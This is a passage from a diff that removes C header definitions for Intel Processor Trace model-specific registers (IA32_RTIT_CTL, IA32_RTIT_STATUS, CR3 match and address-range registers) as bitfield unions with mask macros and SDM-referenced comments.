this scenario, the lower 7 reserved bits are ignored. This field supports tables up to 256 - * MBytes in size. - * - * @see Vol3C[35.3.9(Operational Errors)] - */ - uint64_t mask_or_table_offset : 25; -#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_BIT 7 -#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_FLAG 0xFFFFFF80 -#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_MASK 0x1FFFFFF -#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET(_) (((_) >> 7) & 0x1FFFFFF) - - /** - * @brief Output Offset - * - * [Bits 63:32] The use of this field depends on the value of IA32_RTIT_CTL.ToPA: - * - 0: This is bits 31:0 of the offset pointer into the single, contiguous physical output region. This value will be - * added to the IA32_RTIT_OUTPUT_BASE value to form the physical address at which the next byte of packet output data will - * be written. This value must be less than or equal to the MaskOrTableOffset field, otherwise an operational error will be - * signaled when TraceEn is set. - * - 1: This field holds bits 31:0 of the offset pointer into the current ToPA output region. This value will be added to - * the output region base field, found in the current ToPA table entry, to form the physical address at which the next byte - * of trace output data will be written. This value must be less than the ToPA entry size, otherwise an operational error - * will be signaled when TraceEn is set. - * - * @see Vol3C[35.3.9(Operational Errors)] - */ - uint64_t output_offset : 32; -#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_BIT 32 -#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_FLAG 0xFFFFFFFF00000000 -#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_MASK 0xFFFFFFFF -#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_rtit_output_mask_ptrs_register; - - -/** - * Trace Control Register. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) - * @see Vol3C[35.2.7.2(IA32_RTIT_CTL MSR)] (reference) - */ -#define IA32_RTIT_CTL 0x00000570 -typedef union -{ - struct - { - /** - * @brief TraceEn - * - * [Bit 0] If 1, enables tracing; else tracing is disabled. - * When this bit transitions from 1 to 0, all buffered packets are flushed out of internal buffers. A further store, fence, - * or architecturally serializing instruction may be required to ensure that packet data can be observed at the trace - * endpoint. - * Note that the processor will clear this bit on \#SMI (Section) and warm reset. Other MSR bits of IA32_RTIT_CTL (and - * other trace configuration MSRs) are not impacted by these events. - * - * @see Vol3C[35.2.7.3(Enabling and Disabling Packet Generation with TraceEn)] - */ - uint64_t trace_enabled : 1; -#define IA32_RTIT_CTL_TRACE_ENABLED_BIT 0 -#define IA32_RTIT_CTL_TRACE_ENABLED_FLAG 0x01 -#define IA32_RTIT_CTL_TRACE_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_TRACE_ENABLED(_) (((_) >> 0) & 0x01) - - /** - * @brief CYCEn - * - * [Bit 1] - 0: Disables CYC Packet. - * - 1: Enables CYC Packet. - * - * @remarks If CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 - * @see Vol3C[35.4.2.14(Cycle Count (CYC) Packet)] - */ - uint64_t cyc_enabled : 1; -#define IA32_RTIT_CTL_CYC_ENABLED_BIT 1 -#define IA32_RTIT_CTL_CYC_ENABLED_FLAG 0x02 -#define IA32_RTIT_CTL_CYC_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_CYC_ENABLED(_) (((_) >> 1) & 0x01) - - /** - * @brief OS - * - * [Bit 2] - 0: Packet generation is disabled when CPL = 0. - * - 1: Packet generation may be enabled when CPL = 0. - */ - uint64_t os : 1; -#define IA32_RTIT_CTL_OS_BIT 2 -#define IA32_RTIT_CTL_OS_FLAG 0x04 -#define IA32_RTIT_CTL_OS_MASK 0x01 -#define IA32_RTIT_CTL_OS(_) (((_) >> 2) & 0x01) - - /** - * @brief User - * - * [Bit 3] - 0: Packet generation is disabled when CPL > 0. - * - 1: Packet generation may be enabled when CPL > 0. - */ - uint64_t user : 1; -#define IA32_RTIT_CTL_USER_BIT 3 -#define IA32_RTIT_CTL_USER_FLAG 0x08 -#define IA32_RTIT_CTL_USER_MASK 0x01 -#define IA32_RTIT_CTL_USER(_) (((_) >> 3) & 0x01) - - /** - * @brief PwrEvtEn - * - * [Bit 4] - 0: Power Event Trace packets are disabled. - * - 1: Power Event Trace packets are enabled. - * - * @see Vol3C[35.2.3(Power Event Tracing)] - */ - uint64_t power_event_trace_enabled : 1; -#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_BIT 4 -#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_FLAG 0x10 -#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED(_) (((_) >> 4) & 0x01) - - /** - * @brief FUPonPTW - * - * [Bit 5] - 0: PTW packets are not followed by FUPs. - * - 1: PTW packets are followed by FUPs. - */ - uint64_t fup_on_ptw : 1; -#define IA32_RTIT_CTL_FUP_ON_PTW_BIT 5 -#define IA32_RTIT_CTL_FUP_ON_PTW_FLAG 0x20 -#define IA32_RTIT_CTL_FUP_ON_PTW_MASK 0x01 -#define IA32_RTIT_CTL_FUP_ON_PTW(_) (((_) >> 5) & 0x01) - - /** - * @brief FabricEn - * - * [Bit 6] - 0: Trace output is directed to the memory subsystem, mechanism depends on IA32_RTIT_CTL.ToPA. - * - 1: Trace output is directed to the trace transport subsystem, IA32_RTIT_CTL.ToPA is ignored. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):ECX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):ECX[bit 3] = 0 - */ - uint64_t fabric_enabled : 1; -#define IA32_RTIT_CTL_FABRIC_ENABLED_BIT 6 -#define IA32_RTIT_CTL_FABRIC_ENABLED_FLAG 0x40 -#define IA32_RTIT_CTL_FABRIC_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_FABRIC_ENABLED(_) (((_) >> 6) & 0x01) - - /** - * @brief CR3 filter - * - * [Bit 7] - 0: Disables CR3 filtering. - * - 1: Enables CR3 filtering. - */ - uint64_t cr3_filter : 1; -#define IA32_RTIT_CTL_CR3_FILTER_BIT 7 -#define IA32_RTIT_CTL_CR3_FILTER_FLAG 0x80 -#define IA32_RTIT_CTL_CR3_FILTER_MASK 0x01 -#define IA32_RTIT_CTL_CR3_FILTER(_) (((_) >> 7) & 0x01) - - /** - * @brief ToPA - * - * [Bit 8] - 0: Single-range output scheme enabled. - * - 1: ToPA output scheme enabled. - * - * @remarks 0: If CPUID.(EAX=14H, ECX=0):ECX.SNGLRGNOUT[bit 2] = 1 and IA32_RTIT_CTL.FabricEn=0 1: If CPUID.(EAX=14H, - * ECX=0):ECX.TOPA[bit 0] = 1, and IA32_RTIT_CTL.FabricEn=0 - * WRMSR to IA32_RTIT_CTL that sets TraceEn but clears this bit and FabricEn would cause \#GP: If CPUID.(EAX=14H, - * ECX=0):ECX.SNGLRGNOUT[bit 2] = 0 WRMSR to IA32_RTIT_CTL that sets this bit causes \#GP: If CPUID.(EAX=14H, - * ECX=0):ECX.TOPA[bit 0] = 0 - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA))] - */ - uint64_t topa : 1; -#define IA32_RTIT_CTL_TOPA_BIT 8 -#define IA32_RTIT_CTL_TOPA_FLAG 0x100 -#define IA32_RTIT_CTL_TOPA_MASK 0x01 -#define IA32_RTIT_CTL_TOPA(_) (((_) >> 8) & 0x01) - - /** - * @brief MTCEn - * - * [Bit 9] - 0: Disables MTC Packet. - * - 1: Enables MTC Packet. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.MTC[bit 3] = 0 - * @see Vol3C[35.4.2.16(Overflow (OVF) Packet)] - */ - uint64_t mtc_enabled : 1; -#define IA32_RTIT_CTL_MTC_ENABLED_BIT 9 -#define IA32_RTIT_CTL_MTC_ENABLED_FLAG 0x200 -#define IA32_RTIT_CTL_MTC_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_MTC_ENABLED(_) (((_) >> 9) & 0x01) - - /** - * @brief TSCEn - * - * [Bit 10] - 0: Disable TSC packets. - * - 1: Enable TSC packets. - * - * @see Vol3C[35.4.2.11(Timestamp Counter (TSC) Packet)] - */ - uint64_t tsc_enabled : 1; -#define IA32_RTIT_CTL_TSC_ENABLED_BIT 10 -#define IA32_RTIT_CTL_TSC_ENABLED_FLAG 0x400 -#define IA32_RTIT_CTL_TSC_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_TSC_ENABLED(_) (((_) >> 10) & 0x01) - - /** - * @brief DisRETC - * - * [Bit 11] - 0: Enable RET compression. - * - 1: Disable RET compression. - * - * @see Vol3C[35.2.1.2(Indirect Transfer COFI)] - */ - uint64_t ret_compression_disabled : 1; -#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_BIT 11 -#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_FLAG 0x800 -#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_MASK 0x01 -#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED(_) (((_) >> 11) & 0x01) - - /** - * @brief PTWEn - * - * [Bit 12] - 0: PTWRITE packet generation disabled. - * - 1: PTWRITE packet generation enabled. - */ - uint64_t ptw_enabled : 1; -#define IA32_RTIT_CTL_PTW_ENABLED_BIT 12 -#define IA32_RTIT_CTL_PTW_ENABLED_FLAG 0x1000 -#define IA32_RTIT_CTL_PTW_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_PTW_ENABLED(_) (((_) >> 12) & 0x01) - - /** - * @brief BranchEn - * - * [Bit 13] - 0: Disable COFI-based packets. - * - 1: Enable COFI-based packets: FUP, TIP, TIP.PGE, TIP.PGD, TNT, MODE.Exec, MODE.TSX. - * - * @see Vol3C[35.2.5.4(Branch Enable (BranchEn))] - */ - uint64_t branch_enabled : 1; -#define IA32_RTIT_CTL_BRANCH_ENABLED_BIT 13 -#define IA32_RTIT_CTL_BRANCH_ENABLED_FLAG 0x2000 -#define IA32_RTIT_CTL_BRANCH_ENABLED_MASK 0x01 -#define IA32_RTIT_CTL_BRANCH_ENABLED(_) (((_) >> 13) & 0x01) - - /** - * @brief MTCFreq - * - * [Bits 17:14] Defines MTC packet Frequency, which is based on the core crystal clock, or Always Running Timer (ART). MTC - * will be sent each time the selected ART bit toggles. The following Encodings are defined: - * 0: ART(0), 1: ART(1), 2: ART(2), 3: ART(3), 4: ART(4), 5: ART(5), 6: ART(6), 7: ART(7), 8: ART(8), 9: ART(9), 10: - * ART(10), 11: ART(11), 12: ART(12), 13: ART(13), 14: ART(14), 15: ART(15) - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.MTC[bit 3] = 0 - * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] - */ - uint64_t mtc_frequency : 4; -#define IA32_RTIT_CTL_MTC_FREQUENCY_BIT 14 -#define IA32_RTIT_CTL_MTC_FREQUENCY_FLAG 0x3C000 -#define IA32_RTIT_CTL_MTC_FREQUENCY_MASK 0x0F -#define IA32_RTIT_CTL_MTC_FREQUENCY(_) (((_) >> 14) & 0x0F) - uint64_t reserved1 : 1; - - /** - * @brief CYCThresh - * - * [Bits 22:19] CYC packet threshold. CYC packets will be sent with the first eligible packet after N cycles have passed - * since the last CYC packet. If CycThresh is 0 then N=0, otherwise N is defined as 2(CycThresh-1). The following Encodings - * are defined: - * 0: 0, 1: 1, 2: 2, 3: 4, 4: 8, 5: 16, 6: 32, 7: 64, 8: 128, 9: 256, 10: 512, 11: 1024, 12: 2048, 13: 4096, 14: 8192, 15: - * 16384 - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 - * @see Vol3C[35.3.6(Cycle-Accurate Mode)] - * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] - */ - uint64_t cyc_threshold : 4; -#define IA32_RTIT_CTL_CYC_THRESHOLD_BIT 19 -#define IA32_RTIT_CTL_CYC_THRESHOLD_FLAG 0x780000 -#define IA32_RTIT_CTL_CYC_THRESHOLD_MASK 0x0F -#define IA32_RTIT_CTL_CYC_THRESHOLD(_) (((_) >> 19) & 0x0F) - uint64_t reserved2 : 1; - - /** - * @brief PSBFreq - * - * [Bits 27:24] Indicates the frequency of PSB packets. PSB packet frequency is based on the number of Intel PT packet - * bytes output, so this field allows the user to determine the increment of IA32_IA32_RTIT_STATUS.PacketByteCnt that - * should cause a PSB to be generated. Note that PSB insertion is not precise, but the average output bytes per PSB should - * approximate the SW selected period. The following Encodings are defined: - * 0: 2K, 1: 4K, 2: 8K, 3: 16K, 4: 32K, 5: 64K, 6: 128K, 7: 256K, 8: 512K, 9: 1M, 10: 2M, 11: 4M, 12: 8M, 13: 16M, 14: 32M, - * 15: 64M - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 - * @see Vol3C[35.3.1(Detection of Intel Processor Trace and Capability Enumeration)] - */ - uint64_t psb_frequency : 4; -#define IA32_RTIT_CTL_PSB_FREQUENCY_BIT 24 -#define IA32_RTIT_CTL_PSB_FREQUENCY_FLAG 0xF000000 -#define IA32_RTIT_CTL_PSB_FREQUENCY_MASK 0x0F -#define IA32_RTIT_CTL_PSB_FREQUENCY(_) (((_) >> 24) & 0x0F) - uint64_t reserved3 : 4; - - /** - * @brief ADDR0_CFG - * - * [Bits 35:32] Configures the base/limit register pair IA32_RTIT_ADDR0_A/B based on the following encodings: - * - 0: ADDR0 range unused. - * - 1: The [IA32_RTIT_ADDR0_A..IA32_RTIT_ADDR0_B] range defines a FilterEn range. FilterEn will only be set when the IP is - * within this range, though other FilterEn ranges can additionally be used. - * - 2: The [IA32_RTIT_ADDR0_A..IA32_RTIT_ADDR0_B] range defines a TraceStop range. TraceStop will be asserted if code - * branches into this range. - * - 3..15: Reserved (\#GP). - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 0) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] >= 0 - * @see Vol3C[35.2.4.3(Filtering by IP)] - * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] - */ - uint64_t addr0_cfg : 4; -#define IA32_RTIT_CTL_ADDR0_CFG_BIT 32 -#define IA32_RTIT_CTL_ADDR0_CFG_FLAG 0xF00000000 -#define IA32_RTIT_CTL_ADDR0_CFG_MASK 0x0F -#define IA32_RTIT_CTL_ADDR0_CFG(_) (((_) >> 32) & 0x0F) - - /** - * @brief ADDR1_CFG - * - * [Bits 39:36] Configures the base/limit register pair IA32_RTIT_ADDR1_A/B based on the following encodings: - * - 0: ADDR1 range unused. - * - 1: The [IA32_RTIT_ADDR1_A..IA32_RTIT_ADDR1_B] range defines a FilterEn range. FilterEn will only be set when the IP is - * within this range, though other FilterEn ranges can additionally be used. - * - 2: The [IA32_RTIT_ADDR1_A..IA32_RTIT_ADDR1_B] range defines a TraceStop range. TraceStop will be asserted if code - * branches into this range. - * - 3..15: Reserved (\#GP). - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 1) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 2 - * @see Vol3C[35.2.4.3(Filtering by IP)] - * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] - */ - uint64_t addr1_cfg : 4; -#define IA32_RTIT_CTL_ADDR1_CFG_BIT 36 -#define IA32_RTIT_CTL_ADDR1_CFG_FLAG 0xF000000000 -#define IA32_RTIT_CTL_ADDR1_CFG_MASK 0x0F -#define IA32_RTIT_CTL_ADDR1_CFG(_) (((_) >> 36) & 0x0F) - - /** - * @brief ADDR2_CFG - * - * [Bits 43:40] Configures the base/limit register pair IA32_RTIT_ADDR2_A/B based on the following encodings: - * - 0: ADDR2 range unused. - * - 1: The [IA32_RTIT_ADDR2_A..IA32_RTIT_ADDR2_B] range defines a FilterEn range. FilterEn will only be set when the IP is - * within this range, though other FilterEn ranges can additionally be used. - * - 2: The [IA32_RTIT_ADDR2_A..IA32_RTIT_ADDR2_B] range defines a TraceStop range. TraceStop will be asserted if code - * branches into this range. - * - 3..15: Reserved (\#GP). - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 2) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 3 - * @see Vol3C[35.2.4.3(Filtering by IP)] - * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] - */ - uint64_t addr2_cfg : 4; -#define IA32_RTIT_CTL_ADDR2_CFG_BIT 40 -#define IA32_RTIT_CTL_ADDR2_CFG_FLAG 0xF0000000000 -#define IA32_RTIT_CTL_ADDR2_CFG_MASK 0x0F -#define IA32_RTIT_CTL_ADDR2_CFG(_) (((_) >> 40) & 0x0F) - - /** - * @brief ADDR3_CFG - * - * [Bits 47:44] Configures the base/limit register pair IA32_RTIT_ADDR3_A/B based on the following encodings: - * - 0: ADDR3 range unused. - * - 1: The [IA32_RTIT_ADDR3_A..IA32_RTIT_ADDR3_B] range defines a FilterEn range. FilterEn will only be set when the IP is - * within this range, though other FilterEn ranges can additionally be used. - * - 2: The [IA32_RTIT_ADDR3_A..IA32_RTIT_ADDR3_B] range defines a TraceStop range. TraceStop will be asserted if code - * branches into this range. - * - 3..15: Reserved (\#GP). - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > 3) Reserved if CPUID.(EAX=14H, ECX=1):EBX.RANGECNT[2:0] < 4 - * @see Vol3C[35.2.4.3(Filtering by IP)] - * @see Vol3C[35.4.2.10(Core:Bus Ratio (CBR) Packet)] - */ - uint64_t addr3_cfg : 4; -#define IA32_RTIT_CTL_ADDR3_CFG_BIT 44 -#define IA32_RTIT_CTL_ADDR3_CFG_FLAG 0xF00000000000 -#define IA32_RTIT_CTL_ADDR3_CFG_MASK 0x0F -#define IA32_RTIT_CTL_ADDR3_CFG(_) (((_) >> 44) & 0x0F) - uint64_t reserved4 : 8; - - /** - * @brief InjectPsbPmiOnEnable - * - * [Bit 56] - 1: Enables use of IA32_RTIT_STATUS bits PendPSB[6] and PendTopaPMI[7]. - * - 0: IA32_RTIT_STATUS bits 6 and 7 are ignored. - * - * @remarks Reserved if CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 0 - * @see Vol3C[35.2.7.4(IA32_RTIT_STATUS MSR)] - */ - uint64_t inject_psb_pmi_on_enable : 1; -#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_BIT 56 -#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_FLAG 0x100000000000000 -#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE_MASK 0x01 -#define IA32_RTIT_CTL_INJECT_PSB_PMI_ON_ENABLE(_) (((_) >> 56) & 0x01) - uint64_t reserved5 : 7; - }; - - uint64_t flags; -} ia32_rtit_ctl_register; - - -/** - * Tracing Status Register. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) - */ -#define IA32_RTIT_STATUS 0x00000571 -typedef union -{ - struct - { - /** - * @brief FilterEn (writes ignored) - * - * [Bit 0] This bit is written by the processor, and indicates that tracing is allowed for the current IP. Writes are - * ignored. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[2] = 1) - * @see Vol3C[35.2.5.5(Filter Enable (FilterEn))] - */ - uint64_t filter_enabled : 1; -#define IA32_RTIT_STATUS_FILTER_ENABLED_BIT 0 -#define IA32_RTIT_STATUS_FILTER_ENABLED_FLAG 0x01 -#define IA32_RTIT_STATUS_FILTER_ENABLED_MASK 0x01 -#define IA32_RTIT_STATUS_FILTER_ENABLED(_) (((_) >> 0) & 0x01) - - /** - * @brief ContexEn (writes ignored) - * - * [Bit 1] The processor sets this bit to indicate that tracing is allowed for the current context. Writes are ignored. - * - * @see Vol3C[35.2.5.3(Context Enable (ContextEn))] - */ - uint64_t context_enabled : 1; -#define IA32_RTIT_STATUS_CONTEXT_ENABLED_BIT 1 -#define IA32_RTIT_STATUS_CONTEXT_ENABLED_FLAG 0x02 -#define IA32_RTIT_STATUS_CONTEXT_ENABLED_MASK 0x01 -#define IA32_RTIT_STATUS_CONTEXT_ENABLED(_) (((_) >> 1) & 0x01) - - /** - * @brief TriggerEn (writes ignored) - * - * [Bit 2] The processor sets this bit to indicate that tracing is enabled. Writes are ignored. - * - * @see Vol3C[35.2.5.2(Trigger Enable (TriggerEn))] - */ - uint64_t trigger_enabled : 1; -#define IA32_RTIT_STATUS_TRIGGER_ENABLED_BIT 2 -#define IA32_RTIT_STATUS_TRIGGER_ENABLED_FLAG 0x04 -#define IA32_RTIT_STATUS_TRIGGER_ENABLED_MASK 0x01 -#define IA32_RTIT_STATUS_TRIGGER_ENABLED(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief Error - * - * [Bit 4] The processor sets this bit to indicate that an operational error has been encountered. When this bit is set, - * TriggerEn is cleared to 0 and packet generation is disabled. - * When TraceEn is cleared, software can write this bit. Once it is set, only software can clear it. It is not recommended - * that software ever set this bit, except in cases where it is restoring a prior saved state. - * - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA Errors)] - */ - uint64_t error : 1; -#define IA32_RTIT_STATUS_ERROR_BIT 4 -#define IA32_RTIT_STATUS_ERROR_FLAG 0x10 -#define IA32_RTIT_STATUS_ERROR_MASK 0x01 -#define IA32_RTIT_STATUS_ERROR(_) (((_) >> 4) & 0x01) - - /** - * @brief Stopped - * - * [Bit 5] The processor sets this bit to indicate that a ToPA Stop condition has been encountered. When this bit is set, - * TriggerEn is cleared to 0 and packet generation is disabled. - * When TraceEn is cleared, software can write this bit. Once it is set, only software can clear it. It is not recommended - * that software ever set this bit, except in cases where it is restoring a prior saved state. - * - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA STOP)] - */ - uint64_t stopped : 1; -#define IA32_RTIT_STATUS_STOPPED_BIT 5 -#define IA32_RTIT_STATUS_STOPPED_FLAG 0x20 -#define IA32_RTIT_STATUS_STOPPED_MASK 0x01 -#define IA32_RTIT_STATUS_STOPPED(_) (((_) >> 5) & 0x01) - - /** - * @brief Pend PSB - * - * [Bit 6] If IA32_RTIT_CTL.InjectPsbPmiOnEnable[56] = 1, the processor sets this bit when the threshold for a PSB+ to be - * inserted has been reached. The processor will clear this bit when the PSB+ has been inserted into the trace. If PendPSB - * = 1 and InjectPsbPmiOnEnable = 1 when IA32_RTIT_CTL.TraceEn[0] transitions from 0 to 1, a PSB+ will be inserted into the - * trace. - * - * @remarks If CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 1 - */ - uint64_t pend_psb : 1; -#define IA32_RTIT_STATUS_PEND_PSB_BIT 6 -#define IA32_RTIT_STATUS_PEND_PSB_FLAG 0x40 -#define IA32_RTIT_STATUS_PEND_PSB_MASK 0x01 -#define IA32_RTIT_STATUS_PEND_PSB(_) (((_) >> 6) & 0x01) - - /** - * @brief Pend ToPA PMI - * - * [Bit 7] If IA32_RTIT_CTL.InjectPsbPmiOnEnable[56] = 1, the processor sets this bit when the threshold for a ToPA PMI to - * be inserted has been reached. Software should clear this bit once the ToPA PMI has been handled. If PendTopaPMI = 1 and - * InjectPsbPmiOnEnable = 1 when IA32_RTIT_CTL.TraceEn[0] transitions from 0 to 1, a PMI will be pended. - * - * @remarks If CPUID.(EAX=14H, ECX=0):EBX.INJECTPSBPMI[6] = 1 - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA) | ToPA PMI)] - */ - uint64_t pend_topa_pmi : 1; -#define IA32_RTIT_STATUS_PEND_TOPA_PMI_BIT 7 -#define IA32_RTIT_STATUS_PEND_TOPA_PMI_FLAG 0x80 -#define IA32_RTIT_STATUS_PEND_TOPA_PMI_MASK 0x01 -#define IA32_RTIT_STATUS_PEND_TOPA_PMI(_) (((_) >> 7) & 0x01) - uint64_t reserved2 : 24; - - /** - * @brief PacketByteCnt - * - * [Bits 48:32] This field is written by the processor, and holds a count of packet bytes that have been sent out. The - * processor also uses this field to determine when the next PSB packet should be inserted. Note that the processor may - * clear or modify this field at any time while IA32_RTIT_CTL.TraceEn=1. It will have a stable value when - * IA32_RTIT_CTL.TraceEn=0. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[1] > 3) - * @see Vol3C[35.4.2.17(Packet Stream Boundary (PSB) Packet)] - */ - uint64_t packet_byte_count : 17; -#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_BIT 32 -#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_FLAG 0x1FFFF00000000 -#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT_MASK 0x1FFFF -#define IA32_RTIT_STATUS_PACKET_BYTE_COUNT(_) (((_) >> 32) & 0x1FFFF) - uint64_t reserved3 : 15; - }; - - uint64_t flags; -} ia32_rtit_status_register; - - -/** - * @brief Trace Filter CR3 Match Register (R/W) - * - * The IA32_RTIT_CR3_MATCH register is compared against CR3 when IA32_RTIT_CTL.CR3Filter is 1. Bits 63:5 hold the CR3 - * address value to match, bits 4:0 are reserved to 0. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) - * @see Vol3C[35.2.4.2(Filtering by CR3)] - * @see Vol3C[35.2.7.6(IA32_RTIT_CR3_MATCH MSR)] (reference) - */ -#define IA32_RTIT_CR3_MATCH 0x00000572 -typedef union -{ - struct - { - uint64_t reserved1 : 5; - - /** - * [Bits 63:5] CR3[63:5] value to match. - */ - uint64_t cr3_value_to_match : 59; -#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_BIT 5 -#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_FLAG 0xFFFFFFFFFFFFFFE0 -#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_MASK 0x7FFFFFFFFFFFFFF -#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH(_) (((_) >> 5) & 0x7FFFFFFFFFFFFFF) - }; - - uint64_t flags; -} ia32_rtit_cr3_match_register; - -/** - * @defgroup ia32_rtit_addr \ - * IA32_RTIT_ADDR(x) - * - * The role of the IA32_RTIT_ADDRn_A/B register pairs, for each n, is determined by the corresponding ADDRn_CFG fields in - * IA32_RTIT_CTL. The number of these register pairs is enumerated by CPUID.(EAX=14H, ECX=1):EAX.RANGECNT[2:0]. - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) - * @see Vol3C[35.2.7.2(IA32_RTIT_CTL MSR)] - * @see Vol3C[35.2.7.5(IA32_RTIT_ADDRn_A and IA32_RTIT_ADDRn_B MSRs)] (reference) - * @{ - */ - /** - * @defgroup ia32_rtit_addr_a \ - * IA32_RTIT_ADDR(n)_A - * - * Region n Start Address. - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) - * @{ - */ -#define IA32_RTIT_ADDR0_A 0x00000580 -#define IA32_RTIT_ADDR1_A 0x00000582 -#define IA32_RTIT_ADDR2_A 0x00000584 -#define IA32_RTIT_ADDR3_A 0x00000586 - /** - * @} - */ - - /** - * @defgroup ia32_rtit_addr_b \ - * IA32_RTIT_ADDR(n)_B - * - * Region n End Address. - * - * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) - * @{ - */ -#define IA32_RTIT_ADDR0_B 0x00000581 -#define IA32_RTIT_ADDR1_B 0x00000583 -#define IA32_RTIT_ADDR2_B 0x00000585 -#define IA32_RTIT_ADDR3_B 0x00000587 - /** - * @} - */ - -typedef union -{ - struct - { - /** - * [Bits 47:0] Virtual Address. - */ - uint64_t virtual_address : 48; -#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_BIT 0 -#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_FLAG 0xFFFFFFFFFFFF -#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_MASK 0xFFFFFFFFFFFF -#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS(_) (((_) >> 0) & 0xFFFFFFFFFFFF) - - /** - * [Bits 63:48] SignExt_VA. - */ - uint64_t sign_ext_va : 16; -#define IA32_RTIT_ADDR_SIGN_EXT_VA_BIT 48 -#define IA32_RTIT_ADDR_SIGN_EXT_VA_FLAG 0xFFFF000000000000 -#define IA32_RTIT_ADDR_SIGN_EXT_VA_MASK 0xFFFF -#define IA32_RTIT_ADDR_SIGN_EXT_VA(_) (((_) >> 48) & 0xFFFF) - }; - - uint64_t flags; -} ia32_rtit_addr_register; - -/** - * @} - */ - - - /** - * DS Save Area. Points to the linear address of the first byte of the DS buffer management area, which is used to manage - * the BTS and PEBS buffers. - * Returns: - * - [63:0] The linear address of the first byte of the DS buffer management area, if IA-32e mode is active. - * - [31:0] The linear address of the first byte of the DS buffer management area, if not in IA-32e mode. - * - [63:32] Reserved if not in IA-32e mode. - * - * @remarks If CPUID.01H:EDX.DS[21] = 1 - * @see Vol3B[18.6.3.4(Debug Store (DS) Mechanism)] - */ -#define IA32_DS_AREA 0x00000600 - - /** - * TSC Target of Local APIC's TSC Deadline Mode. - * - * @remarks If CPUID.01H:ECX.[24] = 1 - */ -#define IA32_TSC_DEADLINE 0x000006E0 - - /** - * Enable/disable HWP. - * - * @remarks If 